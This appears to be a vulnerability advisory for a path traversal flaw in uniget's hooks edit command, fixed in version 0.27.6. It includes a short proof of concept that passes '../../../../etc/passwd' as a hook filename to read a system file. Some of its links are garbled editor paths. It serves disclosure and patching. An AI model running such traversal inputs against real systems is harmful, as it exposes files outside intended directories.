uniget: Path Traversal in Hook Files - Directory Escape Vulnerability

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Published

uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.

### Summary Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html). **Details** File: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160` ``` hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation ``` Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal. ### PoC **Step 1:** Set cat as editor ``` export EDITOR="cat" ``` **Step 2:** Read /etc/passwd via path traversal ``` ./uniget hooks edit --type=pre-install "../../../../etc/passwd" ``` **Step 3:** Output shows file contents ``` root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...] ``` <img width="1014" height="178" alt="image" src="https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab" />
